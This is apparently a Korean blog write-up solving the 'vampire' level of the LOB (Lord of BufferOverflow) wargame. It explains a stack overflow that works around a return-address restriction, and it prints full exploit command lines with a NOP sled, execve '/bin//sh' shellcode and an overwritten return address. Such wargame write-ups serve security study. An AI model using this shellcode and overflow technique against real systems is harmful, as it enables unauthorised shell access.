SMALL
troll // aspirin
코드를 보니 쉬워 보인다. 추가된것은 argv[1] 47번째 인자가 \xff 이라는 점.
대충 내가 그려본 메모리 구조와 예시의 세그먼트 구조는 다음과 같다. ( https://bob3rdnewbie.tistory.com/123 )
지금 요구하는 것은 0xbf~로 시작하는 주소인데 0xbfffffff 는 스택 세그먼트 주소이다.
0xbfff 보다 작아야 한다. 그렇다면 다음과 같이 생각해 볼 수 있다.
argv[1]를 크게 넣어도 되고 argv[1]과 적절한 값과 argv[2] 에 큰값들을 넣어주어도 된다.
페이로드
argv[1] : "A"*47 + "\xbf"
argv[2] : "\x90"*10 + shellcode + "A"*0x10000
./vampire `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*0x10000'`
나는 argv[1]과 argv[2]를 이용해서 먼저 쉘코드를 메모리에 올렸다. 복사본을 만들어 세폴트를 만든다음 쉘코드의 주소를 알아 보았다.
argv[2]에 A가 대량으로 들어가니 크기가 커져 0xbfff~~를 벗어나 0xbffefc30 으로 대략적으로 구할수 있게 되었다.
페이로드
argv[1] : "A"*44 + "\x30\xfc\xfe\xbf"
argv[2] : "\x90"*10 + shellcode + "A"*0x10000
./vampire `python -c 'print "A"*44+"\x30\xfc\xfe\xbf"'` `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*0x10000'`
클리어!
'System > LOB' 카테고리의 다른 글
[LOB_11]skeleton (0) | 2019.09.24 |
---|---|
[LOB_10]vampire (0) | 2019.09.24 |
[LOB_8]orge (0) | 2019.09.24 |
[LOB_7]darkelf (0) | 2019.09.24 |
[LOB_6]wolfman (0) | 2019.07.25 |